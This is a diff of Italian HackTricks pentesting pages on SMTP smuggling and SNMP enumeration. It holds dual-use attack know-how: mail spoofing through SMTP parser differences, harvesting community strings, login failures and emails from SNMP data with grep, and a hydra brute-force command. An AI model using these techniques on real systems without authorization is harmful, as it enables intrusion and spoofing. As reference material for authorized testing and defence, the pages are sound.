**Configurazione immediatamente disponibile per valutazione delle vulnerabilità e penetration testing**. Esegui un pentest completo da qualsiasi luogo con oltre 20 strumenti e funzionalità che vanno dalla ricognizione alla segnalazione. Non sostituiamo i pentester - sviluppiamo strumenti personalizzati, moduli di rilevamento ed exploit per dare loro più tempo per approfondire, ottenere shell e divertirsi.
|
**Configurazione immediatamente disponibile per valutazione delle vulnerabilità e penetration testing**. Esegui un pentest completo da qualsiasi luogo con oltre 20 strumenti e funzionalità che vanno dalla ricognizione alla segnalazione. Non sostituiamo i pentester - sviluppiamo strumenti personalizzati, moduli di rilevamento ed exploit per dare loro più tempo per approfondire, aprire shell e divertirsi.
|
||||||
|
|
||||||
{% embed url="https://pentest-tools.com/" %}
|
{% embed url="https://pentest-tools.com/" %}
|
||||||
|
|
||||||
|
@ -73,10 +73,10 @@ Termina la conversazione SMTP.
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
Altri modi per supportare HackTricks:
|
||||||
|
|
||||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT**](https://opensea.io/collection/the-peass-family) esclusivi
|
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e ai repository di [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -10,28 +10,28 @@ Altri modi per supportare HackTricks:
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di Github.
|
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
## Informazioni di Base
|
## Informazioni di Base
|
||||||
|
|
||||||
Questo tipo di vulnerabilità è stato [**originariamente scoperto in questo post**](https://sec-consult.com/blog/detail/smtp-smuggling-spoofing-e-mails-worldwide/) dove viene spiegato che è possibile **sfruttare le discrepanze nell'interpretazione del protocollo SMTP** al momento di finalizzare un'email, consentendo a un attaccante di contrabbandare più email nel corpo di quella legittima, permettendo di impersonare altri utenti del dominio interessato (come admin@outlook.com) eludendo le difese come SPF.
|
Questo tipo di vulnerabilità è stato [**originariamente scoperto in questo post**](https://sec-consult.com/blog/detail/smtp-smuggling-spoofing-e-mails-worldwide/) dove viene spiegato che è possibile **sfruttare le discrepanze nell'interpretazione del protocollo SMTP** al momento di finalizzare una email, consentendo a un attaccante di contrabbandare più email nel corpo di quella legittima, permettendo di impersonare altri utenti del dominio interessato (come admin@outlook.com) eludendo le difese come SPF.
|
||||||
|
|
||||||
### Perché
|
### Perché
|
||||||
|
|
||||||
Questo avviene perché nel protocollo SMTP, i **dati del messaggio** da inviare nell'email sono controllati da un utente (attaccante) che potrebbe inviare dati appositamente creati sfruttando le differenze nei parser che contrabbanderanno email aggiuntive nel destinatario. Dai un'occhiata a questo esempio illustrato dal post originale:
|
Questo avviene perché nel protocollo SMTP, i **dati del messaggio** da inviare nell'email sono controllati da un utente (attaccante) che potrebbe inviare dati appositamente creati sfruttando le differenze nei parser che contrabbanderanno email aggiuntive nel destinatario. Dai un'occhiata a questo esempio illustrato dal post originale:
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (8).png" alt=""><figcaption><p><a href="https://sec-consult.com/fileadmin/user_upload/sec-consult/Dynamisch/Blogartikel/2023_12/SMTP_Smuggling-Overview__09_.png">https://sec-consult.com/fileadmin/user_upload/sec-consult/Dynamisch/Blogartikel/2023_12/SMTP_Smuggling-Overview__09_.png</a></p></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (8) (1).png" alt=""><figcaption><p><a href="https://sec-consult.com/fileadmin/user_upload/sec-consult/Dynamisch/Blogartikel/2023_12/SMTP_Smuggling-Overview__09_.png">https://sec-consult.com/fileadmin/user_upload/sec-consult/Dynamisch/Blogartikel/2023_12/SMTP_Smuggling-Overview__09_.png</a></p></figcaption></figure>
|
||||||
|
|
||||||
### Come
|
### Come
|
||||||
|
|
||||||
Per sfruttare questa vulnerabilità, un attaccante deve inviare alcuni dati che il **server SMTP in uscita pensa che sia solo 1 email ma il server SMTP in ingresso pensa che ci siano diverse email**.
|
Per sfruttare questa vulnerabilità, un attaccante deve inviare alcuni dati che il **server SMTP in uscita pensa che sia solo 1 email ma il server SMTP in entrata pensa che ci siano diverse email**.
|
||||||
|
|
||||||
I ricercatori hanno scoperto che diversi **server in ingresso considerano diversi caratteri come fine dei dati** del messaggio email che i server in uscita non considerano.\
|
I ricercatori hanno scoperto che diversi **server in entrata considerano diversi caratteri come fine dei dati** del messaggio email che i server in uscita non considerano.\
|
||||||
Ad esempio, una fine regolare dei dati è `\r\n.\r\n`. Ma se il server SMTP in ingresso supporta anche `\n.\n`, un attaccante potrebbe semplicemente aggiungere **quei dati nella sua email e iniziare a indicare i comandi SMTP** di nuove email da contrabbandare proprio come nell'immagine precedente.
|
Ad esempio, una fine regolare dei dati è `\r\n.\r\n`. Ma se il server SMTP in entrata supporta anche `\n.\n`, un attaccante potrebbe semplicemente aggiungere **quei dati nella sua email e iniziare a indicare i comandi SMTP** di nuove email da contrabbandare proprio come nell'immagine precedente.
|
||||||
|
|
||||||
Ovviamente, ciò potrebbe funzionare solo se il **server SMTP in uscita non considera anche questi dati** come fine dei dati del messaggio, perché in tal caso vedrà 2 email invece di una sola, quindi alla fine questa è la disincronizzazione che viene sfruttata in questa vulnerabilità.
|
Ovviamente, ciò potrebbe funzionare solo se il **server SMTP in uscita non considera anche questi dati** come fine dei dati del messaggio, perché in tal caso vedrà 2 email invece di 1, quindi alla fine questa è la disincronizzazione che viene sfruttata in questa vulnerabilità.
|
||||||
|
|
||||||
Dati potenziali di disincronizzazione:
|
Dati potenziali di disincronizzazione:
|
||||||
|
|
||||||
|
@ -54,6 +54,6 @@ Altri modi per supportare HackTricks:
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di Github.
|
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -2,21 +2,21 @@
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
<summary><strong>Impara l'hacking AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
Altri modi per supportare HackTricks:
|
||||||
|
|
||||||
* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||||
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Se sei interessato alla **carriera dell'hacking** e vuoi hackerare l'inviolabile - **stiamo assumendo!** (_richiesta competenza in polacco scritto e parlato_).
|
Se sei interessato alla **carriera dell'hacking** e vuoi hackerare l'inviolabile - **stiamo assumendo!** (_richiesta competenza in lingua polacca scritta e parlata_).
|
||||||
|
|
||||||
{% embed url="https://www.stmcyber.com/careers" %}
|
{% embed url="https://www.stmcyber.com/careers" %}
|
||||||
|
|
||||||
|
@ -33,21 +33,21 @@ SNMP utilizza anche la porta **162/UDP** per le **traps**. Questi sono **pacchet
|
||||||
|
|
||||||
### MIB
|
### MIB
|
||||||
|
|
||||||
Per garantire che l'accesso SNMP funzioni tra produttori diversi e con diverse combinazioni client-server, è stata creata la **Management Information Base (MIB)**. MIB è un **formato indipendente per memorizzare le informazioni del dispositivo**. Una MIB è un file **di testo** in cui sono elencati tutti gli **oggetti SNMP interroghili** di un dispositivo in una gerarchia ad albero **standardizzata**. Contiene almeno un `Object Identifier` (`OID`), che, oltre all'**indirizzo univoco** necessario e a un **nome**, fornisce anche informazioni sul tipo, i diritti di accesso e una descrizione dell'oggetto rispettivo.\
|
Per garantire che l'accesso SNMP funzioni tra produttori diversi e con diverse combinazioni client-server, è stata creata la **Management Information Base (MIB)**. La MIB è un **formato indipendente per memorizzare le informazioni del dispositivo**. Una MIB è un file **di testo** in cui sono elencati tutti gli **oggetti SNMP interroghili** di un dispositivo in una gerarchia ad albero **standardizzata**. Contiene almeno un `Object Identifier` (`OID`), che, oltre all'**indirizzo univoco** necessario e a un **nome**, fornisce anche informazioni sul tipo, i diritti di accesso e una descrizione dell'oggetto rispettivo.\
|
||||||
I file MIB sono scritti nel formato di testo ASCII basato su `Abstract Syntax Notation One` (`ASN.1`). Le **MIB non contengono dati**, ma spiegano **dove trovare quali informazioni** e com'è fatto, restituendo valori per l'OID specifico, o quale tipo di dati viene utilizzato.
|
I file MIB sono scritti nel formato di testo ASCII basato su `Abstract Syntax Notation One` (`ASN.1`). Le **MIB non contengono dati**, ma spiegano **dove trovare quali informazioni** e come sono fatte, restituendo valori per l'OID specifico, o che tipo di dati viene utilizzato.
|
||||||
|
|
||||||
### OID
|
### OIDs
|
||||||
|
|
||||||
Gli **Object Identifiers (OID)** svolgono un ruolo cruciale. Questi identificatori unici sono progettati per gestire gli oggetti all'interno di una **Management Information Base (MIB)**.
|
Gli **Object Identifiers (OIDs)** svolgono un ruolo cruciale. Questi identificatori univoci sono progettati per gestire gli oggetti all'interno di una **Management Information Base (MIB)**.
|
||||||
|
|
||||||
I livelli più alti degli ID oggetto MIB, o OID, sono assegnati a diverse organizzazioni che stabiliscono standard. È all'interno di questi livelli superiori che viene stabilito il framework per le pratiche e gli standard di gestione globali.
|
I livelli più alti degli ID oggetto MIB, o OID, sono assegnati a diverse organizzazioni che stabiliscono standard. È all'interno di questi livelli superiori che viene stabilito il quadro per le pratiche e gli standard di gestione globali.
|
||||||
|
|
||||||
Inoltre, ai fornitori è concessa la libertà di stabilire rami privati. All'interno di questi rami, hanno l'**autonomia di includere oggetti gestiti pertinenti alle proprie linee di prodotti**. Questo sistema garantisce che ci sia un metodo strutturato e organizzato per identificare e gestire una vasta gamma di oggetti tra diversi fornitori e standard.
|
Inoltre, ai fornitori è concessa la libertà di stabilire rami privati. All'interno di questi rami, hanno l'**autonomia di includere oggetti gestiti pertinenti alle proprie linee di prodotti**. Questo sistema garantisce che ci sia un metodo strutturato e organizzato per identificare e gestire una vasta gamma di oggetti tra diversi fornitori e standard.
|
||||||
|
|
||||||
![](<../../.gitbook/assets/SNMP\_OID\_MIB\_Tree (1).png>)
|
![](<../../.gitbook/assets/SNMP\_OID\_MIB\_Tree (1).png>)
|
||||||
|
|
||||||
Puoi **navigare** attraverso un **albero OID** dal web qui: [http://www.oid-info.com/cgi-bin/display?tree=#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus) o **vedere cosa significa un OID** (come `1.3.6.1.2.1.1`) accedendo a [http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1).\
|
Puoi **navigare** attraverso un **albero OID** dal web qui: [http://www.oid-info.com/cgi-bin/display?tree=#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus) o **vedere cosa significa un OID** (come `1.3.6.1.2.1.1`) accedendo a [http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1).\
|
||||||
Ci sono alcuni **OID ben noti** come quelli all'interno di [1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1) che fanno riferimento alle variabili SNMP definite da MIB-2 Simple Network Management Protocol (SNMP). E dagli **OID pendenti da questo** è possibile ottenere alcuni dati host interessanti (dati di sistema, dati di rete, dati di processi...)
|
Ci sono alcuni **OID ben noti** come quelli all'interno di [1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1) che fanno riferimento alle variabili SNMP definite da MIB-2. E dagli **OID pendenti da questo** è possibile ottenere alcuni dati host interessanti (dati di sistema, dati di rete, dati di processo...)
|
||||||
|
|
||||||
### **Esempio di OID**
|
### **Esempio di OID**
|
||||||
|
|
||||||
|
@ -59,10 +59,10 @@ Ecco una scomposizione di questo indirizzo.
|
||||||
|
|
||||||
* 1 - questo è chiamato ISO e stabilisce che si tratta di un OID. Per questo motivo tutti gli OID iniziano con "1"
|
* 1 - questo è chiamato ISO e stabilisce che si tratta di un OID. Per questo motivo tutti gli OID iniziano con "1"
|
||||||
* 3 - questo è chiamato ORG ed è utilizzato per specificare l'organizzazione che ha costruito il dispositivo.
|
* 3 - questo è chiamato ORG ed è utilizzato per specificare l'organizzazione che ha costruito il dispositivo.
|
||||||
* 6 - questo è il dod o il Department of Defense che è l'organizzazione che ha stabilito per prima Internet.
|
* 6 - questo è il dod o il Dipartimento della Difesa che è l'organizzazione che ha stabilito per prima Internet.
|
||||||
* 1 - questo è il valore di Internet per indicare che tutte le comunicazioni avverranno tramite Internet.
|
* 1 - questo è il valore di Internet per indicare che tutte le comunicazioni avverranno tramite Internet.
|
||||||
* 4 - questo valore determina che questo dispositivo è stato realizzato da un'organizzazione privata e non governativa.
|
* 4 - questo valore determina che questo dispositivo è realizzato da un'organizzazione privata e non governativa.
|
||||||
* 1 - questo valore indica che il dispositivo è stato realizzato da un'azienda o un'entità commerciale.
|
* 1 - questo valore indica che il dispositivo è realizzato da un'azienda o un'entità commerciale.
|
||||||
|
|
||||||
Questi primi sei valori tendono ad essere gli stessi per tutti i dispositivi e forniscono informazioni di base su di essi. Questa sequenza di numeri sarà la stessa per tutti gli OID, tranne quando il dispositivo è realizzato dal governo.
|
Questi primi sei valori tendono ad essere gli stessi per tutti i dispositivi e forniscono informazioni di base su di essi. Questa sequenza di numeri sarà la stessa per tutti gli OID, tranne quando il dispositivo è realizzato dal governo.
|
||||||
|
|
||||||
|
@ -86,19 +86,19 @@ Il resto dei valori fornisce informazioni specifiche sul dispositivo.
|
||||||
|
|
||||||
Ci sono 2 versioni importanti di SNMP:
|
Ci sono 2 versioni importanti di SNMP:
|
||||||
|
|
||||||
* **SNMPv1**: La principale, è ancora la più frequente, l'**autenticazione si basa su una stringa** (community string) che viaggia in **testo normale** (tutte le informazioni viaggiano in testo normale). **Versione 2 e 2c** inviano il **traffico in testo normale** e utilizzano una **community string come autenticazione**.
|
* **SNMPv1**: La principale, è ancora la più frequente, l'**autenticazione si basa su una stringa** (community string) che viaggia in **testo normale** (tutte le informazioni viaggiano in testo normale). **La versione 2 e 2c** inviano il **traffico in testo normale** e utilizzano una **community string come autenticazione**.
|
||||||
* **SNMPv3**: Utilizza una forma di **autenticazione migliore** e le informazioni viaggiano **criptate** (un **attacco a dizionario** potrebbe essere eseguito ma sarebbe molto più difficile trovare le credenziali corrette rispetto a SNMPv1 e v2).
|
* **SNMPv3**: Utilizza una forma di **autenticazione migliore** e le informazioni viaggiano **criptate** (un **attacco a dizionario** potrebbe essere eseguito ma sarebbe molto più difficile trovare le credenziali corrette rispetto a SNMPv1 e v2).
|
||||||
|
|
||||||
### Stringhe di Comunità
|
### Stringhe di Comunità
|
||||||
|
|
||||||
Come già detto, **per accedere alle informazioni salvate sulla MIB è necessario conoscere la stringa di comunità nelle versioni 1 e 2/2c e le credenziali nella versione 3.**\
|
Come già accennato, **per accedere alle informazioni salvate sulla MIB è necessario conoscere la stringa di comunità nelle versioni 1 e 2/2c e le credenziali nella versione 3.**\
|
||||||
Ci sono **2 tipi di stringhe di comunità**:
|
Ci sono **2 tipi di stringhe di comunità**:
|
||||||
|
|
||||||
* **`public`** principalmente funzioni **solo lettura**
|
* **`public`** principalmente funzioni **solo lettura**
|
||||||
* **`private`** **Lettura/Scrittura** in generale
|
* **`private`** **Lettura/Scrittura** in generale
|
||||||
|
|
||||||
Nota che **la scrivibilità di un OID dipende dalla stringa di comunità utilizzata**, quindi **anche** se trovi che viene utilizzata "**public**", potresti essere in grado di **scrivere alcuni valori**. Inoltre **potrebbero** esistere oggetti che sono **sempre "Solo Lettura"**.\
|
Nota che **la scrivibilità di un OID dipende dalla stringa di comunità utilizzata**, quindi **anche** se trovi che viene utilizzata la stringa "**public**", potresti essere in grado di **scrivere alcuni valori**. Inoltre **potrebbero** esistere oggetti che sono **sempre "Solo Lettura"**.\
|
||||||
Se provi a **scrivere** un oggetto viene ricevuto un errore **`noSuchName` o `readOnly`**.
|
Se provi a **scrivere** un oggetto, viene ricevuto un errore **`noSuchName` o `readOnly`**.
|
||||||
|
|
||||||
Nelle versioni 1 e 2/2c se si utilizza una **stringa di comunità errata il server non risponderà**. Quindi, se risponde, è stata utilizzata una **stringa di comunità valida**.
|
Nelle versioni 1 e 2/2c se si utilizza una **stringa di comunità errata il server non risponderà**. Quindi, se risponde, è stata utilizzata una **stringa di comunità valida**.
|
||||||
|
|
||||||
|
@ -162,15 +162,15 @@ Entrambe le istruzioni richiedono una **stringa di comunità** e l'indirizzo IP
|
||||||
|
|
||||||
### Parametri SNMP per Microsoft Windows
|
### Parametri SNMP per Microsoft Windows
|
||||||
|
|
||||||
Una serie di valori della **Base di Informazioni di Gestione (MIB)** sono utilizzati per monitorare vari aspetti di un sistema Windows tramite SNMP:
|
Una serie di valori di **Base di Informazioni di Gestione (MIB)** sono utilizzati per monitorare vari aspetti di un sistema Windows tramite SNMP:
|
||||||
|
|
||||||
* **Processi di Sistema**: Accessibili tramite `1.3.6.1.2.1.25.1.6.0`, questo parametro consente il monitoraggio dei processi attivi all'interno del sistema.
|
* **Processi di Sistema**: Accessibile tramite `1.3.6.1.2.1.25.1.6.0`, questo parametro consente il monitoraggio dei processi attivi all'interno del sistema.
|
||||||
* **Programmi in Esecuzione**: Il valore `1.3.6.1.2.1.25.4.2.1.2` è designato per tracciare i programmi attualmente in esecuzione.
|
* **Programmi in Esecuzione**: Il valore `1.3.6.1.2.1.25.4.2.1.2` è designato per tracciare i programmi attualmente in esecuzione.
|
||||||
* **Percorso dei Processi**: Per determinare da dove un processo sta eseguendo, viene utilizzato il valore MIB `1.3.6.1.2.1.25.4.2.1.4`.
|
* **Percorso dei Processi**: Per determinare da dove un processo sta eseguendo, viene utilizzato il valore MIB `1.3.6.1.2.1.25.4.2.1.4`.
|
||||||
* **Unità di Archiviazione**: Il monitoraggio delle unità di archiviazione è facilitato da `1.3.6.1.2.1.25.2.3.1.4`.
|
* **Unità di Archiviazione**: Il monitoraggio delle unità di archiviazione è facilitato da `1.3.6.1.2.1.25.2.3.1.4`.
|
||||||
* **Nome del Software**: Per identificare il software installato su un sistema, viene impiegato `1.3.6.1.2.1.25.6.3.1.2`.
|
* **Nome del Software**: Per identificare il software installato su un sistema, viene impiegato `1.3.6.1.2.1.25.6.3.1.2`.
|
||||||
* **Account Utente**: Il valore `1.3.6.1.4.1.77.1.2.25` consente il tracciamento degli account utente.
|
* **Account Utenti**: Il valore `1.3.6.1.4.1.77.1.2.25` consente il tracciamento degli account utenti.
|
||||||
* **Porte Locali TCP**: Infine, `1.3.6.1.2.1.6.13.1.3` è designato per il monitoraggio delle porte TCP locali, fornendo informazioni sulle connessioni di rete attive.
|
* **Porte Locali TCP**: Infine, `1.3.6.1.2.1.6.13.1.3` è designato per monitorare le porte TCP locali, fornendo informazioni sulle connessioni di rete attive.
|
||||||
|
|
||||||
### Cisco
|
### Cisco
|
||||||
|
|
||||||
|
@ -190,7 +190,7 @@ Se hai la **stringa** che ti consente di **scrivere valori** all'interno del ser
|
||||||
|
|
||||||
## **SNMP Massivo**
|
## **SNMP Massivo**
|
||||||
|
|
||||||
[Braa ](https://github.com/mteg/braa)è uno scanner SNMP di massa. L'uso previsto di uno strumento del genere è, naturalmente, effettuare query SNMP - ma a differenza di snmpwalk di net-snmp, è in grado di interrogare decine o centinaia di host contemporaneamente e in un singolo processo. Pertanto, consuma pochissime risorse di sistema e esegue la scansione MOLTO velocemente.
|
[Braa ](https://github.com/mteg/braa)è uno scanner SNMP di massa. L'uso previsto di uno strumento del genere è, ovviamente, effettuare query SNMP - ma a differenza di snmpwalk di net-snmp, è in grado di interrogare decine o centinaia di host contemporaneamente e in un singolo processo. Pertanto, consuma pochissime risorse di sistema e esegue la scansione MOLTO velocemente.
|
||||||
|
|
||||||
Braa implementa il proprio stack SNMP, quindi NON ha bisogno di librerie SNMP come net-snmp.
|
Braa implementa il proprio stack SNMP, quindi NON ha bisogno di librerie SNMP come net-snmp.
|
||||||
|
|
||||||
|
@ -208,7 +208,7 @@ Il processo inizia con l'estrazione dei dati **sysDesc MIB** (1.3.6.1.2.1.1.1.0)
|
||||||
```bash
|
```bash
|
||||||
grep ".1.3.6.1.2.1.1.1.0" *.snmp
|
grep ".1.3.6.1.2.1.1.1.0" *.snmp
|
||||||
```
|
```
|
||||||
### **Identificare la stringa privata**
|
### **Identificare la Stringa Privata**
|
||||||
|
|
||||||
Un passaggio cruciale coinvolge l'identificazione della **stringa di comunità privata** utilizzata dalle organizzazioni, in particolare sui router Cisco IOS. Questa stringa consente l'estrazione delle **configurazioni in esecuzione** dai router. L'identificazione spesso si basa sull'analisi dei dati di **SNMP Trap** per la parola "trap" con un comando **grep**:
|
Un passaggio cruciale coinvolge l'identificazione della **stringa di comunità privata** utilizzata dalle organizzazioni, in particolare sui router Cisco IOS. Questa stringa consente l'estrazione delle **configurazioni in esecuzione** dai router. L'identificazione spesso si basa sull'analisi dei dati di **SNMP Trap** per la parola "trap" con un comando **grep**:
|
||||||
```bash
|
```bash
|
||||||
|
@ -220,9 +220,9 @@ I log memorizzati all'interno delle tabelle MIB vengono esaminati per **tentativ
|
||||||
```bash
|
```bash
|
||||||
grep -i "login\|fail" *.snmp
|
grep -i "login\|fail" *.snmp
|
||||||
```
|
```
|
||||||
### **Emails**
|
### **Email**
|
||||||
|
|
||||||
Infine, per estrarre **indirizzi email** dai dati, viene utilizzato un comando **grep** con un'espressione regolare, concentrandosi su pattern che corrispondono ai formati email:
|
Infine, per estrarre gli **indirizzi email** dai dati, viene utilizzato un comando **grep** con un'espressione regolare, concentrandosi su pattern che corrispondono ai formati email:
|
||||||
```bash
|
```bash
|
||||||
grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" *.snmp
|
grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" *.snmp
|
||||||
```
|
```
|
||||||
|
@ -240,9 +240,9 @@ Se esiste un ACL che consente solo a determinati IP di interrogare il servizio S
|
||||||
* snmpd.conf
|
* snmpd.conf
|
||||||
* snmp-config.xml
|
* snmp-config.xml
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Se sei interessato a una **carriera nel campo dell'hacking** e vuoi hackerare l'inviolabile - **stiamo assumendo!** (_richiesta competenza fluente in polacco, scritta e parlata_).
|
Se sei interessato a una **carriera nel campo dell'hacking** e vuoi hackerare l'inviolabile - **stiamo assumendo!** (_richiesta competenza nella lingua polacca scritta e parlata_).
|
||||||
|
|
||||||
{% embed url="https://www.stmcyber.com/careers" %}
|
{% embed url="https://www.stmcyber.com/careers" %}
|
||||||
|
|
||||||
|
@ -288,9 +288,9 @@ Command: hydra -P {Big_Passwordlist} -v {IP} snmp
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
Altri modi per supportare HackTricks:
|
||||||
|
|
||||||
* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* Se vuoi vedere la **tua azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
